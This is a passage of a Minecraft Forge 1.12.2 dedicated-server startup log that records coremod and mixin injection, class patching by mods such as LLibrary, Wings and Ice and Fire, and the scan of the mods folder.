[main/DEBUG] [mixin]: Scanning asmgen:/ for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: inject() running with 1 agents [14:27:49] [main/DEBUG] [mixin]: Processing inject() for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: FML agent is co-initiralising coremod instance MalisisCorePlugin {[]} for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:49] [main/DEBUG] [FML]: Injecting coremod MalisisCorePlugin \{net.malisis.core.asm.MalisisCorePlugin\} class transformers [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for MalisisCorePlugin \{net.malisis.core.asm.MalisisCorePlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin MalisisCorePlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class MalisisCorePlugin run successfully [14:27:49] [main/DEBUG] [mixin]: Processing inject() for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLDeobfTweaker [14:27:49] [main/DEBUG] [FML]: Loaded 215 rules from AccessTransformer config file forge_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 119 rules from AccessTransformer mod jar file ./mods/iChunUtil-1.12.2-7.2.2.jar!META-INF/iChunUtil_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 13 rules from AccessTransformer mod jar file ./mods/jei_1.12.2-4.15.0.292.jar!META-INF/jei_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 10 rules from AccessTransformer mod jar file ./mods/JustEnoughResources-1.12.2-0.9.2.60.jar!META-INF/jeresources_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 7 rules from AccessTransformer mod jar file ./mods/SereneSeasons-1.12.2-1.2.18-universal.jar!META-INF/sereneseasons_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 11 rules from AccessTransformer mod jar file ./mods/llibrary-1.7.19-1.12.2.jar!META-INF/llibrary_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 14 rules from AccessTransformer mod jar file ./mods/malisiscore-1.12.2-6.5.1.jar!META-INF/malisiscore_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 5 rules from AccessTransformer mod jar file ./mods/CTM-MC1.12.2-1.0.1.30.jar!META-INF/ctm_at.cfg [14:27:49] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #2 [14:27:49] [main/DEBUG] [FML]: Validating minecraft [14:27:49] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[INIT] [14:27:49] [main/DEBUG] [FML]: Minecraft validated, launching... [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod llibrary \{net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin\} class transformers [14:27:49] [main/TRACE] [FML]: Registering transformer net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:49] [main/TRACE] [FML]: Registering transformer net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:49] [main/DEBUG] [LLibrary Core]: Found runtime patcher net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for llibrary \{net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin llibrary [14:27:49] [main/DEBUG] [FML]: Coremod plugin class LLibraryPlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod iceandfire \{com.github.alexthe666.iceandfire.asm.IceAndFirePlugin\} class transformers [14:27:49] [main/DEBUG] [LLibrary Core]: Found runtime patcher com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for java/lang/String/format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraft/client/model/ModelBiped/<init>(FZ)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraft/client/renderer/entity/RenderPlayer/<init>(Lnet/minecraft/client/renderer/entity/RenderManager;Z)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraftforge/client/ForgeHooksClient/handleCameraTransforms(Lnet/minecraft/client/renderer/block/model/IBakedModel;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;Z)Lnet/minecraft/client/renderer/block/model/IBakedModel; [14:27:50] [main/TRACE] [FML]: Registering transformer com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for iceandfire \{com.github.alexthe666.iceandfire.asm.IceAndFirePlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin iceandfire [14:27:50] [main/DEBUG] [FML]: Coremod plugin class IceAndFirePlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod wings \{me.paulf.wings.server.asm.plugin.WingsLoadingPlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found runtime patcher me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/TRACE] [FML]: Registering transformer me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for /()L; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/minecraftforge/client/ForgeHooksClient/shouldCauseReequipAnimation(Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;I)Z [14:27:50] [main/DEBUG] [LLibrary Core]: Found runtime patcher me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for wings \{me.paulf.wings.server.asm.plugin.WingsLoadingPlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin wings [14:27:50] [main/DEBUG] [FML]: Coremod plugin class WingsLoadingPlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod CTMCorePlugin \{team.chisel.ctm.client.asm.CTMCorePlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for CTMCorePlugin \{team.chisel.ctm.client.asm.CTMCorePlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin CTMCorePlugin [14:27:50] [main/DEBUG] [FML]: Coremod plugin class CTMCorePlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:50] [main/DEBUG] [FML]: Injecting coremod Techguns Core \{techguns.core.TechgunsFMLPlugin\} class transformers [14:27:50] [main/TRACE] [FML]: Registering transformer techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [FML]: Injection complete [14:27:50] [main/DEBUG] [FML]: Running coremod plugin for Techguns Core \{techguns.core.TechgunsFMLPlugin\} [14:27:50] [main/DEBUG] [FML]: Running coremod plugin Techguns Core [14:27:50] [main/DEBUG] [FML]: Coremod plugin class TechgunsFMLPlugin run successfully [14:27:50] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.TerminalTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Loading tweak class name org.spongepowered.asm.mixin.EnvironmentStateTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.TerminalTweaker [14:27:50] [main/INFO] [LaunchWrapper]: Calling tweak class org.spongepowered.asm.mixin.EnvironmentStateTweaker [14:27:50] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #3 [14:27:50] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/server/MinecraftServer [14:27:50] [main/DEBUG] [LLibrary Core]: Patching method run()V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for net/ilexiconn/llibrary/server/core/patcher/LLibraryHooks/getTickRate()J [14:27:50] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[DEFAULT] [14:27:50] [main/DEBUG] [mixin]: Selecting config mixins.malisiscore.core.json [14:27:50] [main/DEBUG] [mixin]: Preparing mixins.malisiscore.core.json (10) [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Rebuilding transformer delegation list: [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PatchingTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.EntityRendererTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.WorldTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.AccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ModAccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemStackTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockSpecialTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PotionEffectTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: net.minecraftforge.fml.common.asm.transformers.TerminalTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Transformer delegation list created with 20 entries [14:27:50] [main/INFO] [mixin]: A re-entrant transformer '$wrapper.sereneseasons.asm.transformer.WorldTransformer' was detected and will no longer process meta class data [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/World to metadata cache [14:27:50] [main/DEBUG] [mixin]: Rebuilding transformer delegation list: [14:27:50] [main/DEBUG] [mixin]: Found name transformer: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PatchingTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.sereneseasons.asm.transformer.EntityRendererTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: $wrapper.sereneseasons.asm.transformer.WorldTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.DeobfuscationTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.AccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ModAccessTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemStackTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.ItemBlockSpecialTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: net.minecraftforge.fml.common.asm.transformers.PotionEffectTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.WingsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.me.paulf.wings.server.asm.mobends.WingsMoBendsRuntimePatcher [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.team.chisel.ctm.client.asm.CTMTransformer [14:27:50] [main/DEBUG] [mixin]: Adding: $wrapper.techguns.core.TechgunsASMTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: net.minecraftforge.fml.common.asm.transformers.TerminalTransformer [14:27:50] [main/DEBUG] [mixin]: Excluding: org.spongepowered.asm.mixin.transformer.Proxy [14:27:50] [main/DEBUG] [mixin]: Transformer delegation list created with 19 entries [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/WorldServer to metadata cache [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/world/chunk/Chunk to metadata cache [14:27:50] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/ItemBlock to metadata cache [14:27:50] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/network/NetHandlerPlayServer [14:27:50] [main/DEBUG] [LLibrary Core]: Patching method func_184338_a(Lnet/minecraft/network/play/client/CPacketVehicleMove;)V [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getFastestEntityMotionSpeed(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for com/github/alexthe666/iceandfire/util/IceAndFireCoreUtils/getMoveThreshold(Lnet/minecraft/network/NetHandlerPlayServer;)D [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.util.text.TextComponentTranslation. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.util.math.BlockPos. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.tileentity.CommandBlockBaseLogic. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.item.ItemStack. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/network/NetHandlerPlayServer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_147347_a(Lnet/minecraft/network/play/client/CPacketPlayer;)V [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/network/NetHandlerPlayServer to metadata cache [14:27:51] [main/DEBUG] [mixin]: Prepared 6 mixins in 0.365 sec (60.8ms avg) (0ms load, 196ms transform, 0ms plugin) [14:27:51] [main/DEBUG] [mixin]: Mixing MixinClientNotif$MixinWorld from mixins.malisiscore.core.json into net.minecraft.world.World [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/clientnotif/ClientNotificationManager to metadata cache [14:27:51] [main/DEBUG] [mixin]: Mixing MixinChunkCollision$MixinWorld from mixins.malisiscore.core.json into net.minecraft.world.World [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/Point to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/apache/commons/lang3/tuple/Pair to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/io/Serializable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/lang/Comparable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for java/util/Map$Entry to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/malisis/core/util/chunkcollision/ChunkCollision to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/spongepowered/asm/mixin/injection/callback/CallbackInfoReturnable to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/BlockPos to metadata cache [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:preTransform:230]: Transforming Class [net.minecraft.block.Block], Method [getExtendedState] [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:finishTransform:242]: Transforming net.minecraft.block.Block Finished. [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/block/Block to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for org/spongepowered/asm/mixin/injection/callback/CallbackInfo to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/Vec3d to metadata cache [14:27:51] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/math/RayTraceResult to metadata cache [14:27:51] [main/DEBUG] [mixin]: Mixing MixinClientNotif$MixinWorldServer from mixins.malisiscore.core.json into net.minecraft.world.WorldServer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/player/EntityPlayer [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_184808_cD()V [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_71000_j(DDD)V [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onAddFlown(Lnet/minecraft/entity/player/EntityPlayer;DDD)V [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_70047_e()F [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_174820_d(ILnet/minecraft/item/ItemStack;)Z [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onReplaceItemSlotCheck(Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;)Z [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.EntityLivingBase. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.Entity. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/EntityLivingBase [14:27:51] [main/DEBUG] [LLibrary Core]: Patching method func_110146_f(FF)F [14:27:51] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onUpdateBodyRotation(Lnet/minecraft/entity/EntityLivingBase;F)V [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.nbt.NBTTagList. This may cause patch issues [14:27:51] [main/WARN] [LLibrary Core]: Failed to fetch hierarchy node for net.minecraft.entity.player.EntityPlayerMP. This may cause patch issues [14:27:51] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/Entity [14:27:51] [main/INFO] [LaunchWrapper]: Launching wrapped minecraft {net.minecraft.server.MinecraftServer} [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:preTransform:230]: Transforming Class [net.minecraft.block.Block], Method [getExtendedState] [14:27:51] [main/INFO] [STDOUT]: [team.chisel.ctm.client.asm.CTMTransformer:finishTransform:242]: Transforming net.minecraft.block.Block Finished. [14:27:55] [main/DEBUG] [mixin]: Mixing MixinChunkCollision$MixinItemBlock from mixins.malisiscore.core.json into net.minecraft.item.ItemBlock [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/Item to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraftforge/registries/IForgeRegistryEntry$Impl to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumActionResult to metadata cache [14:27:55] [main/DEBUG] [LLibrary Core]: Patching class net/minecraft/entity/player/EntityPlayer [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_184808_cD()V [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_71000_j(DDD)V [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onAddFlown(Lnet/minecraft/entity/player/EntityPlayer;DDD)V [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_70047_e()F [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onFlightCheck(Lnet/minecraft/entity/player/EntityPlayer;Z)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Patching method func_174820_d(ILnet/minecraft/item/ItemStack;)Z [14:27:55] [main/DEBUG] [LLibrary Core]: Found no method mapping for me/paulf/wings/server/asm/WingsHooks/onReplaceItemSlotCheck(Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;)Z [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/entity/player/EntityPlayer to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumHand to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/util/EnumFacing to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/block/state/IBlockState to metadata cache [14:27:55] [main/TRACE] [mixin]: Added class metadata for net/minecraft/item/ItemStack to metadata cache [14:27:56] [main/DEBUG] [FML]: Creating vanilla freeze snapshot [14:27:56] [main/DEBUG] [FML]: Vanilla freeze snapshot created [14:27:57] [Server thread/INFO] [net.minecraft.server.dedicated.DedicatedServer]: Starting minecraft server version 1.12.2 [14:27:57] [Server thread/INFO] [FML]: MinecraftForge v14.23.5.2847 Initialized [14:27:57] [Server thread/INFO] [FML]: Starts to replace vanilla recipe ingredients with ore ingredients. [14:27:58] [Server thread/INFO] [FML]: Invalid recipe found with multiple oredict ingredients in the same ingredient... [14:27:58] [Server thread/INFO] [FML]: Replaced 1227 ore ingredients [14:27:58] [Server thread/DEBUG] [FML]: File /aternos/server/config/injectedDependencies.json not found. No dependencies injected [14:27:58] [Server thread/DEBUG] [FML]: Building injected Mod Containers [net.minecraftforge.fml.common.FMLContainer, net.minecraftforge.common.ForgeModContainer, techguns.core.TechgunsCore] [14:27:58] [Server thread/DEBUG] [FML]: Attempting to load mods contained in the minecraft jar file and associated classes [14:27:58] [Server thread/DEBUG] [FML]: Found a minecraft related file at /aternos/server/forge.jar, examining for mod candidates [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/iceandfire-1.8.3.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/wings-1.1.6-1.12.2.jar [14:27:58] [Server thread/TRACE] [FML]: Skipping known library file /aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar [14:27:58] [Server thread/DEBUG] [FML]: Minecraft jar mods loaded successfully [14:27:58] [Server thread/INFO] [FML]: Searching /aternos/server/./mods for mods [14:27:58] [Server thread/DEBUG] [FML]: Adding animania-1.12.2-1.7.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding wings-1.1.6-1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding SereneSeasons-1.12.2-1.2.18-universal.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding jei_1.12.2-4.15.0.292.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding BackTools-1.12.2-7.0.1.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding DragonMounts2-1.12.2-1.6.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding CTM-MC1.12.2-1.0.1.30.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding bookworm-1.12.2-2.3.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding zawa-1.12.2-1.7.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding ExtraGems-1.12.2-(v.1.2.8).jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding iceandfire-1.8.3.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding creature_whisperer_1.0.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding ultimate_unicorn_mod-1.12.2-1.5.16.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding Instant Massive Structures Mod 1.12.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding landmanager-1.12.2-1.4.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding claimitapi-1.12.2-1.2.0.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding iChunUtil-1.12.2-7.2.2.jar to the mod list [14:27:58] [Server thread/DEBUG] [FML]: Adding 